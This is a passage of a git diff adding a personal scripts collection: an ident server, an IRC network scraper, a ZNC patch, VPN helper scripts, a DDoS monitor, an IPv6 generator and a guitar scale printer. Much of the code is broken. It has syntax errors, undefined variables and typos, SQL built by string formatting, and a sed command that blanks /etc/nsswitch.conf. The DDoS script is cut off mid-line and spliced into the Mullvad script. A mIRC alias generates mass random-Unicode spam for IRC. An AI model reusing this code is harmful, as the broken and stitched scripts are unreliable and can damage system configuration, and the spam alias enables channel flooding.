re, socket, time + +def check_privledges(): + return True if os.getuid() == 0 or os.geteuid() == 0 else return False + +def debug(msg): + print(f'{get_time()} {msg}') + +def get_time(): + return time.strftime('%I:%M:%S') + +def is_valid_port(port): + return True if port > 0 and port <= 65535 else return False + +class server(object): + def __init__(self, ipv6=False): + self.ipv6 = ipv6 + self.sock = None + + def _create_socket(self): + if self.ipv6: + self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) + self.sock.bind(('::', 113)) + else: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.bind(('0.0.0.0', 113)) + sock.listen(5) + + def _drop_privledges(self): + os.setgroups([]) + os.setgid(pwd.getpwnam('nobody').pw_gid) + os.setuid(pwd.getpwnam('nobody').pw_uid) + + def _start(self): + self._create_socket() + if check_privledges(): + self._drop_privledges() + self._listen() + + def _listen(self): + while True: + client, addr = sock.accept() + data = client.recv(1024).decode('ascii').rstrip() + source_ip = addr[0][7:] if addr[0][:7] == '::ffff:' else addr[0] + debug(f'[REQUEST] {source_ip}: {data}') + response = self._parse_data(data) + client.send(f'{response}\r\n'.encode('ascii')) + debug(f'[ REPLY ] {source_ip}: {response}') + client.close() + + def _parse_data(self, data): + if not re.match(r'(\d+).*,.*(\d+)', data): + return data + ' : ERROR : INVALID-PORT' + lport, rport = data.split(',') + lport = int(re.sub(r'\D', '', lport)) + rport = int(re.sub(r'\D', '', rport)) + if not is_valid_port(lport) or not is_valid_port(rport): + return data + ' : ERROR : INVALID-PORT' + return data + ' : USERID : UNIX : ' + username # RANDOM? \ No newline at end of file diff --git a/irc/netsplit.py b/irc/netsplit.py new file mode 100644 index 0000000..57e12ae --- /dev/null +++ b/irc/netsplit.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python +# NetSplit Parser - Developed by acidvegas in Python (https://acid.vegas/random) + +import os +import re +import sqlite3 +import time +import urllib.request + +# Settings +throttle = 3 + +# Globals +db_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'netsplit.db') +db = sqlite3.connect(db_file) +sql = db.cursor() + +def db_add(name, address, port, ssl): + sql.execute('INSERT INTO SERVERS (NAME,ADDRESS,PORT,SSL) VALUES (\'{0}\', \'{1}\', \'{2}\', \'{3}\')'.format(name, address, port, ssl)) + db.commit() + +def db_setup(): + tables = sql.execute('SELECT name FROM sqlite_master WHERE type=\'table\'').fetchall() + if len(tables): + sql.execute('DROP TABLE SERVERS') + sql.execute('CREATE TABLE SERVERS (NAME TEXT NOT NULL, ADDRESS TEXT NOT NULL, PORT INTEGER NOT NULL, SSL INTEGER NOT NULL);') + db.commit() + +def get_source(url): + req = urllib.request.Request(url) + req.add_header('User-Agent', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') + source = urllib.request.urlopen(req, timeout=15) + charset = source.headers.get_content_charset() + if charset: + return source.read().decode(charset) + else: + return source.read().decode() + +db_setup() +source = get_source('http://irc.netsplit.de/networks/') +networks = re.findall('.*?
    ((.*?))', source, re.IGNORECASE|re.MULTILINE) + if checker: + servers = re.findall(r'(.*?)
    .*?(.*?)', source, re.IGNORECASE|re.MULTILINE) + else: + servers = re.findall(r'(.*?)(.*?)', source, re.IGNORECASE|re.MULTILINE) + servers = list(set(servers)) + for server in servers: + address = server[0].split(':')[0] + port = int(server[0].split(':')[1]) + if server[1] == 'off': + ssl = 0 + else: + ssl = 1 + db_add(network, address, port, ssl) + print('{0}{1}:{2}'.format(network.ljust(30), address, port)) + time.sleep(throttle) \ No newline at end of file diff --git a/irc/nigircd.tar.gz b/irc/nigircd.tar.gz new file mode 100644 index 0000000..66545ab Binary files /dev/null and b/irc/nigircd.tar.gz differ diff --git a/irc/unicode.msl b/irc/unicode.msl new file mode 100644 index 0000000..b59d264 --- /dev/null +++ b/irc/unicode.msl @@ -0,0 +1,26 @@ +alias UTF81 { + if ($1 < 161) { return $chr($1) } + elseif ($len($base($1,10,2)) < 12) { return $+($chr($calc(192 + $div($1,64))),$chr($calc(128 + [ $1 % 64 ] ))) } + elseif ($len($base($1,10,2)) < 17) { return $+($chr($calc(224 + $div($1,4096))),$chr($calc(128 + [ $div($1,64) % 64 ] )),$chr($calc(128 + [ $1 % 64 ] ))) } + elseif ($len($base($1,10,2)) < 22) { + return $+($chr($calc(240 + $div($1,262144))),$chr($calc(128 + [ $div($1,4096) % 64 ] )),$chr($calc(128 + [ $div($1,64) % 64 ] )),$& + $chr($calc(128 + [ $1 % 64 ] ))) + } +} +alias -l div { return $int($calc($1 / $2)) } +alias UTF8 { + if ($version >= 7) return $chr($1) + else { + var %x $base($1,10,2),%y $len(%x) + if ($1 < 161) { return $chr($1) } + elseif (%y < 12) { return $+($shift(11000000,$left(%x,-6)),$shift(10000000,$right(%x,6))) } + elseif (%y < 17) { return $+($shift(11100000,$left(%x,-12)),$shift(10000000,$mid(%x,-12,6)),$shift(10000000,$right(%x,6))) } + elseif (%y < 22) { + return $+($shift(11110000,$left(%x,-18)),$shift(10000000,$mid(%x,$iif(%y < 18,$+(-,%y),-18),6)),$shift(10000000,$mid(%x,-12,6)),$shift(10000000,$right(%x,6))) + } + } +} + +$utf8($rand(123456,999999)) $+ $utf8($rand(123456,999999)) $+ $utf8($rand(123456,999999)) $+ + +# ^ etc like 100+ times diff --git a/irc/znc_isadmin_patch.diff b/irc/znc_isadmin_patch.diff new file mode 100644 index 0000000..64a9429 --- /dev/null +++ b/irc/znc_isadmin_patch.diff @@ -0,0 +1,175 @@ +user@linux ~/build/znc-acid $ git diff +diff --git a/modules/controlpanel.cpp b/modules/controlpanel.cpp +index 0b7796aa..edd14420 100644 +--- a/modules/controlpanel.cpp ++++ b/modules/controlpanel.cpp +@@ -319,12 +319,37 @@ class CAdminMod : public CModule { + pUser->SetAltNick(sValue); + PutModule("AltNick = " + sValue); + } else if (sVar == "ident") { ++ ++ // Don't need them changing this, used to identify them. ++ if (!GetUser()->IsAdmin()) { ++ PutStatus(t_s( ++ "You cannot do that.")); ++ return; ++ } ++ + pUser->SetIdent(sValue); ++ + PutModule("Ident = " + sValue); + } else if (sVar == "realname") { ++ ++ // Some BNC's put their link in the realname. ++ if (!GetUser()->IsAdmin()) { ++ PutStatus(t_s( ++ "You cannot do that.")); ++ return; ++ } ++ + pUser->SetRealName(sValue); + PutModule("RealName = " + sValue); + } else if (sVar == "bindhost") { ++ ++ // That code below is annoying. Just do this first. ++ if (!GetUser()->IsAdmin()) { ++ PutStatus(t_s( ++ "You cannot do that.")); ++ return; ++ } ++ + if (!pUser->DenySetBindHost() || GetUser()->IsAdmin()) { + if (sValue.Equals(pUser->GetBindHost())) { + PutModule(t_s("This bind host is already set!")); +@@ -607,9 +632,24 @@ class CAdminMod : public CModule { + pNetwork->SetAltNick(sValue); + PutModule("AltNick = " + pNetwork->GetAltNick()); + } else if (sVar.Equals("ident")) { ++ ++ // Don't need them changing this, used to identify them. ++ if (!GetUser()->IsAdmin()) { ++ PutStatus(t_s( ++ "You cannot do that.")); ++ return; ++ } + pNetwork->SetIdent(sValue); + PutModule("Ident = " + pNetwork->GetIdent()); + } else if (sVar.Equals("realname")) { ++ ++ // Some BNC's put their link in the realname. ++ if (!GetUser()->IsAdmin()) { ++ PutStatus(t_s( ++ "You cannot do that.")); ++ return; ++ } ++ + pNetwork->SetRealName(sValue); + PutModule("RealName = " + pNetwork->GetRealName()); + } else if (sVar.Equals("bindhost")) { +@@ -1022,6 +1062,11 @@ class CAdminMod : public CModule { + CString sNetwork = sLine.Token(2); + CUser* pUser = GetUser(); + ++ if (!GetUser()->IsAdmin()) { ++ PutStatus(t_s( ++ "You cannot do that.")); ++ return; ++ } + if (sNetwork.empty()) { + sNetwork = sUser; + } else { +@@ -1067,6 +1112,12 @@ class CAdminMod : public CModule { + CString sNetwork = sLine.Token(2); + CUser* pUser = GetUser(); + ++ if (!GetUser()->IsAdmin()) { ++ PutStatus(t_s( ++ "You cannot do that.")); ++ return; ++ } ++ + if (sNetwork.empty()) { + sNetwork = sUser; + } else { +@@ -1149,6 +1200,12 @@ class CAdminMod : public CModule { + CString sNetwork = sLine.Token(2); + CString sServer = sLine.Token(3, true); + ++ if (!GetUser()->IsAdmin()) { ++ PutStatus(t_s( ++ "You cannot do that.")); ++ return; ++ } ++ + if (sServer.empty()) { + PutModule( + t_s("Usage: AddServer [[+]port] " +@@ -1180,6 +1237,12 @@ class CAdminMod : public CModule { + unsigned short uPort = sLine.Token(4).ToUShort(); + CString sPass = sLine.Token(5); + ++ if (!GetUser()->IsAdmin()) { ++ PutStatus(t_s( ++ "You cannot do that.")); ++ return; ++ } ++ + if (sServer.empty()) { + PutModule( + t_s("Usage: DelServer [[+]port] " +diff --git a/src/ClientCommand.cpp b/src/ClientCommand.cpp +index 44bcc324..81704ed1 100644 +--- a/src/ClientCommand.cpp ++++ b/src/ClientCommand.cpp +@@ -536,6 +536,14 @@ void CClient::UserCommand(CString& sLine) { + PutStatus(t_f("Total: {1}, Joined: {2}, Detached: {3}, Disabled: {4}")( + vChans.size(), uNumJoined, uNumDetached, uNumDisabled)); + } else if (sCommand.Equals("ADDNETWORK")) { ++ ++ // Just them anyway. ++ if (!m_pUser->IsAdmin()) { ++ PutStatus(t_s( ++ "You cannot do that.")); ++ return; ++ } ++ + if (!m_pUser->IsAdmin() && !m_pUser->HasSpaceForNewNetwork()) { + PutStatus(t_s( + "Network number limit reached. Ask an admin to increase the " +@@ -569,6 +577,12 @@ void CClient::UserCommand(CString& sLine) { + } else if (sCommand.Equals("DELNETWORK")) { + CString sNetwork = sLine.Token(1); + ++ if (!m_pUser->IsAdmin()) { ++ PutStatus(t_s( ++ "You cannot do that.")); ++ return; ++ } ++ + if (sNetwork.empty()) { + PutStatus(t_s("Usage: DelNetwork ")); + return; +@@ -744,6 +758,11 @@ void CClient::UserCommand(CString& sLine) { + } else if (sCommand.Equals("ADDSERVER")) { + CString sServer = sLine.Token(1); + ++ if (!m_pUser->IsAdmin()) { ++ PutStatus(t_s( ++ "You cannot do that.")); ++ return; ++ } + if (!m_pNetwork) { + PutStatus(t_s( + "You must be connected with a network to use this command")); +@@ -763,6 +782,11 @@ void CClient::UserCommand(CString& sLine) { + "added or openssl is disabled?")); + } + } else if (sCommand.Equals("REMSERVER") || sCommand.Equals("DELSERVER")) { ++ if (!m_pUser->IsAdmin()) { ++ PutStatus(t_s( ++ "You cannot do that.")); ++ return; ++ } + if (!m_pNetwork) { + PutStatus(t_s( + "You must be connected with a network to use this command")); \ No newline at end of file diff --git a/networking/ap.py b/networking/ap.py new file mode 100644 index 0000000..48545fc --- /dev/null +++ b/networking/ap.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python +import re, subprocess + +interface = 'wlp1s0' + +def between(source, start, stop): + data = re.compile(start + '(.*?)' + stop, re.IGNORECASE|re.MULTILINE).search(source) + if data : return data.group(1) + else : return False + +output = subprocess.check_output(f'sudo iwlist {interface} scanning | egrep \'Cell |Channel|Frequency|Encryption|Quality|ESSID|Mode\'', shell=True).decode() +access_points = output.split(' Cell ')[1:] +print('\033[30m\033[47mMAC Address Channel Frequency Quality Signal Mode Encryption ESSID\033[0m') +for ap in access_points: + address = between(ap, 'Address: ', '\n') + channel = between(ap, 'Channel:', '\n').ljust(7) + frequency = between(ap, 'Frequency:', ' GHz')[:3] + quality = between(ap, 'Quality=', ' Signal') + signal = between(ap, 'Signal level=', ' dBm') + encryption = between(ap, 'Encryption key:', '\n').ljust(10) + essid = between(ap, 'ESSID:\"', '\"\n') + mode = between(ap, 'Mode:', '\n') + print(f'{address} | {channel} | {frequency} GHz | {quality} | {signal} dBm | {mode} | {encryption} | {essid}') \ No newline at end of file diff --git a/networking/ddosmonit.sh b/networking/ddosmonit.sh new file mode 100644 index 0000000..dfeb96b --- /dev/null +++ b/networking/ddosmonit.sh @@ -0,0 +1,27 @@ +#!/bin/sh +interface=eth0 +dumpdir=/tmp/ +email="admin@domain.tld" +subject="DDoS Notification: `hostname`" +sender="admin@domain.tld" +while /bin/true; do + pkt_old=`grep $interface: /proc/net/dev | cut -d : -f2 | awk '{ print $2 }'` + sleep 1 + pkt_new=`grep $interface: /proc/net/dev | cut -d : -f2 | awk '{ print $2 }'` + pkt=$(( $pkt_new-$pkt_old )) + echo -ne "\r$pkt packets/s\033[0K" + if [ $pkt -gt 5000 ]; then + filename=$dumpdir/dump.`date +"%Y%m%d-%H%M%S"`.cap + tcpdump -n -s0 -c 2000 > $filename + echo "`date` Packets dumped, sleeping now." + sleep 1 + data=`cat $filename` + sendmail -F $sender -it < /etc/openvpn/client/mullvad/mullvad.conf + else + echo "auth-user-pass auth +ca ca.crt +cipher AES-256-CBC +client +comp-lzo +crl-verify crl.pem +dev tun +nobind +persist-key +persist-tun +ping 10 +ping-restart 60 +proto udp +remote ${1}.mullvad.net ${2} +remote-cert-tls server +resolv-retry infinite +tls-cipher TLS-DHE-RSA-WITH-AES-256-GCM-SHA384:TLS-DHE-RSA-WITH-AES-256-CBC-SHA +tun-ipv6 +verb 3" > /etc/openvpn/client/mullvad/mullvad.conf + fi +} + +function menu_auth { + ACCOUNT_NUMBER=$(dialog --backtitle "Mullvad VPN Helper" --title "Login" --inputbox "Account Number:" 8 50 2>&1 >/dev/tty) + clear + echo -e "$ACCOUNT_NUMBER\nm" > /etc/openvpn/client/mullvad/auth + chmod 600 /etc/openvpn/client/mullvad/auth + chown root:root /etc/openvpn/client/mullvad/auth +} + +function menu_server { + if [ $DEFAULT_SERVER -eq 0 ]; then + OPTIONS=(1 "Random" + 2 "Austria (AT)" + 3 "Australia (AU)" + 4 "Belgium (BE)" + 5 "Bulgaria (BG)" + 6 "Canada (CA)" + 7 "Canada (CA) - Toronto" + 8 "Canada (CA) - Vancouver" + 9 "Czech Republic (CZ)" + 10 "Denmark (DK)" + 11 "Germany (DE)" + 12 "Germany (DE) - Berlin" + 13 "Germany (DE) - Frankfurt" + 14 "Finland (FI)" + 15 "France (FR)" + 16 "Hong Kong (HK)" + 17 "Hungary (HU)" + 18 "Israel (IL)" + 19 "Italy (IT)" + 20 "Japan (JP)" + 21 "Moldova (MD)" + 22 "Netherlands (NL)" + 23 "Norway (NO)" + 24 "Poland (PL)" + 25 "Portugual (PT)" + 26 "Romania (RO)" + 27 "Singapore (SG)" + 28 "Spain (ES)" + 29 "Sweden (SE)" + 30 "Sweden (SE) - Helsingborg" + 31 "Sweden (SE) - Malmö" + 32 "Sweden (SE) - Stockholm" + 33 "Switzerland (CH)" + 34 "United Kingdom (GB)" + 35 "United Kingdom (GB) - London" + 36 "United Kingdom (GB) - Manchester" + 37 "United States (US)" + 38 "United States (US) - Arizona" + 39 "United States (US) - California" + 40 "United States (US) - Florida" + 41 "United States (US) - Georgia" + 42 "United States (US) - Illinois" + 43 "United States (US) - Nevada" + 44 "United States (US) - New Jersey" + 45 "United States (US) - New York" + 46 "United States (US) - Texas" + 47 "United States (US) - Utah" + 48 "United States (US) - Washington" + 49 "United States (US) - Washington DC") + CHOICE=$(dialog --clear --backtitle "Mullvad VPN Helper" --title "Connection" --menu "Select a regional server below:" 20 60 20 "${OPTIONS[@]}" 2>&1 >/dev/tty) + clear + if [ $CHOICE -eq 1 ]; then + CHOICE=$(shuf -i 2-38 -n 1) + fi + elif [ $DEFAULT_SERVER == 1 ]; then + CHOICE=$(shuf -i 2-38 -n 1) + else + CHOICE=$DEFAULT_SERVER + fi + case $CHOICE in + 2) generate_config "at" "1302";; + 3) generate_config "au" "1302";; + 4) generate_config "be" "1196";; + 5) generate_config "bg" "1195";; + 6) generate_config "ca" "1301";; + 7) generate_config "ca-bc" "1196";; + 8) generate_config "ca-on" "1196";; + 9) generate_config "cz" "1302";; + 10) generate_config "dk" "1197";; + 11) generate_config "de" "1195";; + 12) generate_config "de-ber" "1197";; + 13) generate_config "de-fra" "1301";; + 14) generate_config "fi" "1302";; + 15) generate_config "fr" "1301";; + 16) generate_config "hk" "1195";; + 17) generate_config "hu" "1194";; + 18) generate_config "il" "1197";; + 19) generate_config "it" "1196";; + 20) generate_config "jp" "1197";; + 21) generate_config "md" "1301";; + 22) generate_config "nl" "1195";; + 23) generate_config "no" "1194";; + 24) generate_config "pl" "1301";; + 25) generate_config "pt" "1301";; + 26) generate_config "ro" "1197";; + 27) generate_config "sg" "1302";; + 28) generate_config "es" "1194";; + 29) generate_config "se" "1195";; + 30) generate_config "se-hel" "1197";; + 31) generate_config "se-mma" "1194";; + 32) generate_config "se-sto" "1197";; + 33) generate_config "ch" "1195";; + 34) generate_config "gb" "1197";; + 35) generate_config "gb-lon" "1194";; + 36) generate_config "gb-mnc" "1302";; + 37) generate_config "us" "1196";; + 38) generate_config "us-az" "1194";; + 39) generate_config "us-ca" "1194";; + 40) generate_config "us-fl" "1195";; + 41) generate_config "us-ga" "1196";; + 42) generate_config "us-il" "1196";; + 43) generate_config "us-nv" "1302";; + 44) generate_config "us-nj" "1301";; + 45) generate_config "us-ny" "1195";; + 46) generate_config "us-tx" "1195";; + 47) generate_config "us-ut" "1196";; + 48) generate_config "us-wa" "1197";; + 49) generate_config "us-dc" "1302";; + esac +} + +if [ $EUID -ne 0 ]; then + echo "[!] - This script requires sudo privledges!" + exit 1 +fi +if [ ! -f /etc/openvpn/client/mullvad/auth ]; then + menu_auth +fi +if [ $DISABLE_IPV6 -eq 1 ]; then + disable_ipv6 +fi +rm /etc/openvpn/client/mullvad/mullvad.conf +menu_server +openvpn --cd /etc/openvpn/client/mullvad --config mullvad.conf diff --git a/networking/riseup.sh b/networking/riseup.sh new file mode 100644 index 0000000..6c2dec2 --- /dev/null +++ b/networking/riseup.sh @@ -0,0 +1,217 @@ +#!/bin/bash + +DEFAULT_PORT=0 +DEFAULT_PROTOCOL=0 +DISABLE_IPV6=1 +ENABLE_KILLSWITCH=0 + +function disable_ipv6 { + if [ ! -f /etc/sysctl.d/99-vpn-disable-ipv6.conf ]; then + echo "net.ipv6.conf.all.disable_ipv6=1" > /etc/sysctl.d/99-vpn-disable-ipv6.conf + echo "net.ipv6.conf.default.disable_ipv6=1" >> /etc/sysctl.d/99-vpn-disable-ipv6.conf + echo "net.ipv6.conf.lo.disable_ipv6=1" >> /etc/sysctl.d/99-vpn-disable-ipv6.conf + sysctl -w net.ipv6.conf.all.disable_ipv6=1 + sysctl -w net.ipv6.conf.default.disable_ipv6=1 + sysctl -w net.ipv6.conf.lo.disable_ipv6=1 + fi +} + +function generate_config { + if [ $DEFAULT_PORT == 0 ]; then + CHOICE=$(dialog --clear --backtitle "RiseUp VPN Helper" --title "Connection" --menu "Select a connection port:" 20 60 20 1 "1194 (Recommended)" 2 "80" 3 "443" 2>&1 >/dev/tty) + clear + else + CHOICE=$DEFAULT_PORT + fi + case $CHOICE in + 1) PROTO="1194";; + 2) PROTO="80";; + 3) PROTO="443";; + esac + if [ $DEFAULT_PROTOCOL == 0 ]; then + CHOICE=$(dialog --clear --backtitle "RiseUp VPN Helper" --title "Connection" --menu "Select a connection protocol:" 20 60 20 1 "UDP (Recommended)" 2 "TCP" 2>&1 >/dev/tty) + clear + else + CHOICE=$DEFAULT_PROTOCOL + fi + case $CHOICE in + 1) PROTO="udp";; + 2) PROTO="tcp";; + esac + echo "auth SHA256 +auth-user-pass auth +ca ca.pem +cipher AES-256-CBC +client +comp-lzo +dev tun0 +down /etc/openvpn/scripts/update-systemd-resolved +down-pre +group vpn +iproute /usr/local/sbin/unpriv-ip +mute 3 +nobind +persist-key +persist-tun +proto $PROTO +remote vpn.riseup.net $PORT +remote-cert-tls server +reneg-sec 0 +resolv-retry infinite +script-security 2 +setenv PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +tls-client +tls-version-min 1.2 +up /etc/openvpn/scripts/update-systemd-resolved +user vpn +verb 4" > /etc/openvpn/client/riseup/riseup.conf +} + +function killswitch { + if [ -f /etc/iptables/vpn-rules.v4 ]; then + iptables-restore < /etc/iptables/vpn-rules.v4 + else + iptables -F + iptables -X + iptables -Z + iptables -t filter -F + iptables -t filter -X + iptables -t mangle -F + iptables -t mangle -X + iptables -t nat -F + iptables -t nat -X + iptables -t raw -F + iptables -t raw -X + iptables -t security -F + iptables -t security -X + iptables -P OUTPUT DROP + iptables -P INPUT DROP + iptables -P FORWARD DROP + iptables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT + iptables -A INPUT -i lo -j ACCEPT + iptables -A INPUT -i tun+ -j ACCEPT + iptables -A OUTPUT -o lo -j ACCEPT + iptables -A OUTPUT -d 172.27.0.1 -j ACCEPT + iptables -A OUTPUT -p -m --dport -j ACCEPT + iptables -A OUTPUT -o tun+ -j ACCEPT + iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT + iptables -A OUTPUT -d 192.168.1.0/24 -j ACCEPT + iptables -A OUTPUT -j REJECT --reject-with icmp-net-unreachable + iptables-save > /etc/iptables/vpn-rules.v4 + fi + if [ $DISABLE_IPV6 -eq 1 ]; then + if [ -f /etc/iptables/vpn-rules.v6 ]; then + ip6tables-restore < /etc/iptables/vpn-rules.v6 + else + ip6tables -F + ip6tables -X + ip6tables -Z + ip6tables -t filter -F + ip6tables -t filter -X + ip6tables -t mangle -F + ip6tables -t mangle -X + ip6tables -t nat -F + ip6tables -t nat -X + ip6tables -t raw -F + ip6tables -t raw -X + ip6tables -t security -F + ip6tables -t security -X + ip6tables -P OUTPUT DROP + ip6tables -P INPUT DROP + ip6tables -P FORWARD DROP + ip6tables-save > /etc/iptables/vpn-rules.v6 + fi + fi + +} + +function menu_auth { + USERNAME=$(dialog --backtitle "RiseUp VPN Helper" --title "Login" --inputbox "Username:" 8 50 2>&1 >/dev/tty) + PASSWORD=$(dialog --backtitle "RiseUp VPN Helper" --title "Login" --clear --passwordbox "Password" 8 50 2>&1 >/dev/tty) + clear + echo -e "$USERNAME\n$PASSWORD" > /etc/openvpn/client/riseup/auth + chmod 600 /etc/openvpn/client/riseup/auth + chown root:root /etc/openvpn/client/riseup/auth +} + +function secure_dns { + if [ ! -f /etc/openvpn/scripts/update-systemd-resolved ]; then + mkdir -p /etc/openvpn/scripts + wget -O /etc/openvpn/scripts/update-systemd-resolved https://raw.githubusercontent.com/jonathanio/update-systemd-resolved/master/update-systemd-resolved + chmod 750 /etc/openvpn/scripts/update-systemd-resolved + fi + if [ -f /etc/nsswitch.conf ]; then + if ! grep -q "hosts: files resolve myhostname" /etc/nsswitch.conf; then + sed 's/hosts:.*/hosts: files resolve myhostname/' /etc/nsswitch.conf > /etc/nsswitch.conf + fi + else + echo "[!] - Failed to locate /etc/nsswitch.conf file!" + exit 1 + fi + if ! $(/usr/bin/systemctl -q is-active systemd-resolved.service); then + systemctl start systemd-resolved + fi + if ! $(/usr/bin/systemctl -q is-enabled systemd-resolved.service); then + systemctl enable systemd-resolved + fi +} + +function setup { + pacman -S dialog openvpn screen sudo + mkdir -p /var/lib/openvpn + if ! id vpn >/dev/null 2>&1; then + useradd -r -d /var/lib/openvpn -s /usr/bin/nologin vpn + fi + if [ ! $(getent group vpn) ]; then + groupadd vpn + fi + if ! getent group vpn | grep &>/dev/null "\bvpn\b"; then + gpasswd -a vpn vpn + fi + chown vpn:vpn /var/lib/openvpn + if [ -f /etc/sudoers ]; then + if ! grep -q "vpn ALL=(ALL) NOPASSWD: /sbin/ip" /etc/sudoers; then + echo -e "\nvpn ALL=(ALL) NOPASSWD: /sbin/ip" >> /etc/sudoers + fi + if ! grep -q "Defaults:vpn !requiretty" /etc/sudoers; then + echo -e "\nDefaults:vpn !requiretty" >> /etc/sudoers + fi + else + echo "[!] - Failed to locate /etc/sudoers file!" + exit 1 + fi + if [ ! -f /usr/local/sbin/unpriv-ip ]; then + echo "#!/bin/sh" > /usr/local/sbin/unpriv-ip + echo "sudo /sbin/ip \$*" >> /usr/local/sbin/unpriv-ip + chmod 755 /usr/local/sbin/unpriv-ip + fi + if [ ! -f /etc/openvpn/openvpn-startup ]; then + echo "#!/bin/sh" > /etc/openvpn/openvpn-startup + echo "openvpn --rmtun --dev tun0" >> /etc/openvpn/openvpn-startup + echo "openvpn --mktun --dev tun0 --dev-type tun --user vpn --group vpn" >> /etc/openvpn/openvpn-startup + chmod 755 /etc/openvpn/openvpn-startup + fi + if [ -d /etc/openvpn/client/riseup ]; then + rm -r /etc/openvpn/client/riseup + fi + mkdir /etc/openvpn/client/riseup + wget -O /etc/openvpn/client/riseup/ca.pem https://riseup.net/security/network-security/riseup-ca/RiseupCA.pem + menu_auth +} + +if [ $EUID -ne 0 ]; then + echo "[!] - This script requires sudo privledges!" + exit 1 +fi +if [ ! -d /etc/openvpn/client/riseup ]; then + setup + generate_config +fi +secure_dns +if [ $DISABLE_IPV6 -eq 1 ]; then + disable_ipv6 +fi +openvpn --cd /etc/openvpn/client/riseup --config riseup.conf +if [ $ENABLE_KILLSWITCH -eq 1 ]; then + killswitch +fi diff --git a/networking/v6gen.py b/networking/v6gen.py new file mode 100644 index 0000000..899849e --- /dev/null +++ b/networking/v6gen.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python +# IPv6 Generator - Developed by acidvegas in Python (https://acid.vegas/random)) +import os,random +interface = 'eth0' +subnet = '2607:5300:201:3000:' +def randstr(size) : return ''.join(random.sample(('1234567890ABCDEF'), size)) +def randv6(subnet) : return f'{subnet}{randstr(4)}:{randstr(4)}:{randstr(4)}:{randstr(4)}' +def v6(action,address,interface) : os.system(f'sudo ip addr {action} {address} dev {interafce}') +for i in range(50): + v6('add',randv6(subnet),interface) + print(ip) +#for ip in [line.rstrip() for line in open('ipv6.txt','r').readlines() if line]: +# v6('del',ip,interface \ No newline at end of file diff --git a/rekey.sh b/rekey.sh new file mode 100644 index 0000000..7623f45 --- /dev/null +++ b/rekey.sh @@ -0,0 +1,40 @@ +#!/bin/sh +recycle_gpg_key() { + gpg --expert --full-gen-key + local KEYID="CHANGEME" # todo: automatically parse this from gpg output + gpg --export --armor $KEYID > $KEYID.pub.asc + gpg --export-secret-keys --armor $KEYID > $KEYID.priv.asc + gpg --export-secret-subkeys --armor $KEYID > $KEYID.sub_priv.asc + gpg --delete-secret-key $KEYID + gpg --import $KEYID.sub_priv.asc +} + +recycle_irc_key() { + local NICK="CHANGEME" + openssl req -x509 -new -newkey rsa:4096 -sha256 -days 3650 -nodes -out $NICK.pem -keyout $NICK.pem + chmod 400 $NICK.pem +} + +recycle_ssh_key() { + if [ ! -d $HOME/.ssh ]; then + mkdir $HOME/.ssh + else + [ -f $HOME/.ssh/key ] && mv $HOME/.ssh/key $HOME/.ssh/key.back + [ -f $HOME/.ssh/key.pub ] && rm $HOME/.ssh/key.pub + fi + read -p "Password: " $PASSWORD + ssh-keygen -t ed25519 -a 100 -C "" -P "$PASSWORD" -f $HOME/.ssh/key -q +} + +setup_authorized_keys() { + if [ ! -d /etc/ssh/authorized_keys ]; then + mkdir /etc/ssh/authorized_keys + else + for f in /home/*/.ssh/authorized_keys; do + local USERNAME=$(echo $f | cut -d/ -f 3) + if [ ! -f /etc/ssh/authorized_keys/$USERNAME ]; then + cat $f > /etc/ssh/authorized_keys/$USERNAME && rm $f + fi + done + fi +} \ No newline at end of file diff --git a/scales.py b/scales.py new file mode 100644 index 0000000..8cbe94b --- /dev/null +++ b/scales.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python +# guitar scales generator - developed by acidvegas in python (https://acid.vegas/random) + +scales = { + 'algerian' : '2131131', # 1 = Half-step | 2 = Whole-step | 3 = Whole-step-Half-step + 'aeolian' : '2122122', + 'blues' : '321132', + 'chromatic' : '1111111', + 'dorian' : '2122212', + 'half_whole_diminished' : '12121212', + 'harmonic_minor' : '2122131', + 'ionian' : '2212221', + 'locrian' : '1221222', + 'lydian' : '2221221', + 'major' : '2212221', + 'major_pentatonic' : '22323', + 'melodic_minor' : '2122221', + 'mixolydian' : '2212212', + 'natural_minor' : '2122122', + 'persian' : '1311231', + 'phrygian' : '1222122', + 'whole_half_diminished' : '21212121', + 'whole_tone' : '2222222' +} + +def generate_notes(key): + notes = ['A','A#','B','C','C#','D','D#','E','F','F#','G','G#'] + while notes[0] != key: + notes.append(notes.pop(0)) + return notes + +def generate_scale(string, scale_notes, full=False): + notes = generate_notes(string.upper())*2 if full else generate_notes(string.upper()) + notes.append(notes[0]) + for index,note in enumerate(notes): + if note in scale_notes: + notes[index] = notes[index].center(5, '-') + else: + notes[index] = '-'*5 + return notes + +def get_pattern(pattern): + new_pattern = list() + for step in pattern: + if step == '1' : new_pattern.append('H') + elif step == '2' : new_pattern.append('W') + elif step == '3' : new_pattern.append('WH') + return ' '.join(new_pattern) + +def scale(type, key): + last = 0 + notes = generate_notes(key) + scale_notes = [notes[0],] + for step in scales[type]: + last += int(step) + if last >= len(notes): + last -= len(notes) + scale_notes.append(notes[last]) + return scale_notes + +def print_scale(root, type, full=False): + if root.upper() not in ('A','A#','B','C','C#','D','D#','E','F','F#','G','G#'): + raise SystemExit('invalid root note') + elif type.lower() not in scales: + raise SystemExit('invalid scale type') + else: + frets = (24,147) if full else (12,75) + print(f'{root.upper()} {type.upper()} SCALE'.center(frets[1])) + print(' ┌' + '┬'.join('─'*5 for x in range(frets[0])) + '┐') + print('0 │' + '│'.join(str(x).center(5) for x in range(1,frets[0]+1)) + '│') + print(' ├' + '┼'.join('─'*5 for x in range(frets[0])) + '┤') + scale_notes = scale(type, root) + for string in ('eBGDAE'): + string_notes = generate_scale(string, scale_notes, full) + print(string + ' │' + '│'.join(note.center(5, '-') for note in string_notes[1:]) + '│') + print(' └' + '┴'.join('─'*5 for x in range(frets[0])) + '┘') + print((', '.join(scale_notes) + ' / ' + get_pattern(scales[type])).rjust(frets[1])) + +def print_scales(): + max_key = max(len(x) for x in scales) + max_value = 